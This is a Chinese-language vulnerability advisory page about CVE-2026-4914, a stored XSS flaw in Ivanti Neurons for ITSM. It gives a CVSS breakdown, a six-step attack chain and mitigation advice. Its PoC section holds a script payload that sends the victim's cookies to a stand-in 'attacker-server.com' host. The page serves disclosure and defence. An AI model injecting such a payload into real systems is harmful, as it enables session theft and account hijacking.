IPBUF安全漏洞报告
English
CVE-2026-4914 CVSS 5.4 中危

CVE-2026-4914 Ivanti N-ITSM存储型XSS漏洞

披露日期: 2026-04-14
来源: 3c1d8aa1-5a33-4ea4-8992-aadd6440af75

漏洞信息

漏洞编号
CVE-2026-4914
漏洞类型
存储型跨站脚本 (Stored XSS)
CVSS评分
5.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
需要交互 (UI:R)
影响产品
Ivanti Neurons for ITSM (N-ITSM)

相关标签

XSSStored XSSIvantiN-ITSMWeb安全CVE-2026-4914

漏洞概述

CVE-2026-4914 是 Ivanti Neurons for ITSM (N-ITSM) 中发现的一个存储型跨站脚本 (XSS) 漏洞。该漏洞影响 2025.4 之前的版本。经过身份验证的远程攻击者可以利用此漏洞注入恶意脚本。当其他用户查看受影响的内容时,脚本将在其浏览器中执行,从而可能窃取会话信息或执行其他操作。利用此漏洞需要用户交互。

技术细节

该漏洞属于存储型跨站脚本攻击(Stored XSS),其根本原因在于 Ivanti N-ITSM 应用程序未能对用户提交的输入数据进行充分的安全验证和上下文感知的输出编码。根据 CVSS 向量分析,攻击复杂度为低(AC:L),且不需要高权限(PR:L),仅需普通经过身份验证的用户即可发起攻击。攻击者首先登录系统,寻找支持富文本或未经过滤输入的功能点(如工单详情、反馈表单等),将构造好的恶意 JavaScript 负载嵌入其中。由于缺乏过滤,该负载被服务器存储在数据库中。当特权用户或管理员随后浏览到包含该恶意数据的页面时,负载在浏览器端渲染并执行。由于需要用户交互(UI:R),可能涉及诱导受害者点击特定链接或元素。攻击成功后,攻击者可利用受害者的会话上下文,窃取敏感信息(如 Session ID)或执行有限范围内的未授权操作,造成机密性和完整性影响。

攻击链分析

STEP 1
1. 发现与侦察
攻击者确定目标为运行易受攻击版本(< 2025.4)的 Ivanti N-ITSM 实例。
STEP 2
2. 获取访问权限
攻击者使用低权限账户登录应用程序(PR:L)。
STEP 3
3. 漏洞利用
攻击者在应用程序的输入字段(如工单描述、评论)中注入恶意 JavaScript 代码。
STEP 4
4. 持久化
应用程序将恶意脚本存储在数据库中,未进行适当的过滤或编码。
STEP 5
5. 触发与交互
受害者(如管理员)查看包含恶意内容的页面。由于需要用户交互(UI:R),可能需要受害者点击链接或滚动页面。
STEP 6
6. 执行与影响
恶意脚本在受害者的浏览器上下文中执行,导致 Cookie 窃取或会话劫持。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<!-- Stored XSS PoC for CVE-2026-4914 --> <!-- Attacker injects this payload into a vulnerable input field --> <script> // Example: Steal session cookies var img = new Image(); img.src = 'http://attacker-server.com/steal?cookie=' + document.cookie; // Example: Execute arbitrary JS console.log('XSS Executed'); alert(1); </script>

影响范围

Ivanti Neurons for ITSM < 2025.4

防御指南

临时缓解措施
在无法立即升级的情况下,建议管理员限制低权限用户的输入权限,并加强对系统异常行为的监控。用户应避免在系统内点击来自不可信来源的链接或查看可疑内容。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表